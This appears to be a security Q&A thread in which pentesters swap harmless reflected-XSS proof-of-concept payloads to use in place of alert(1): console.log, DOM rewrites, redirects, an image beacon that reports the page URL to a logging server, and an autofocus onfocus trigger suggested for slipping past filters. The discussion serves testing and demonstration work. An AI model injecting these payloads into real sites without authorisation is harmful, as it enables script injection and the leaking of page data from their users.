I have been trying to find non malicious, non alert based, single command reflective XSS payloads, and have so far seen none. Anybody know of any good ones for pentesting purposes? What I mean by single line is a non alert or popup based version of javascript:alert(1); that can demonstrate reflective XSS

  • What is the thing you are trying to achieve? If you would specify why alert is not good for you, that might help getting the desired answer. Anyway, my first thought was window.location = "http:// what.ever";
    – bayo
    Jan 23, 2016 at 21:25
  • 1
    Probably trying to test for rXSS on a site that blacklists requests with "alert" in them. I've seen that before. It's stupid, since a real attack would never be using alerts, but since when has that stopped people who just want to check a box saying "the tester found no XSS"? Anyhow, there's a ton of ways to detect script execution without relying on alerts.
    – CBHacking
    Jan 25, 2016 at 20:05

7 Answers 7


You can try console.log('XSS').


For testing purposes, I think the most useful one is a HTTP request. This allows your server to log URLs which successfully reflected the XSS.

(new Image()).src = "https://localhost/log_xss?from=" + window.location;

You can also wrap it in a userscript:

// ==UserScript==
// @match <all_urls> 
// @run-at document-start
// ==/UserScript==

Object.defineProperty(window, "f", {
  get: function () {
    // Your function, you can change if you want.
    (new Image()).src = "https://localhost/log_xss?from=" + window.location;

Then testing for XSS is just as easy as:

<input onfocus=f autofocus>

There are two advantages:

  • It can help to bypass some XSS filters. "f" doesn't have any special characters, so it's very likely it won't be filtered. You'll still have to write a full payload that bypasses the filter, but it may help for detection.
  • It's also more discrete since the pentested site will never get your server's URL.

With DOM-Manipulation one could change the page itself. In case one knows the target page, it can be manipulated in some nice ways.

An easy example would be:

document.body.innerHTML = 'XSS';

I usually do a Google image search for an amusing image, save this to my own HTTPS server and then create an <img /> tag using the XSS vulnerability.

With a bit of imagination, this can demonstrate the vulnerability in a humorous way.

Also check out the http://www.xss-payloads.com/ site for other interesting payloads.


For demonstration purposes, you could do a document.location redirect to a different website. A fun one would be to inject the Harlem Shake js that makes everything on the page dance.


Depending on your audience you could also inject some javascript nonsense like a matrix screensaver (this for example).


<img src="test.com/index.php?something=document.location/>

If put somewhere non-persistant.

  • This does not seem non malicious, as specified in the question, at all. And I strongly believe all serious web sites use HttpOnly flags on their session cookies in 2016, so this technique is kind of out-of-date. Regards.
    – bayo
    Jan 23, 2016 at 21:21
  • Please check your understanding of reflected vs persistent XSS. It's not the alert that makes it reflective!
    – DaniEll
    Jan 25, 2016 at 6:25

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .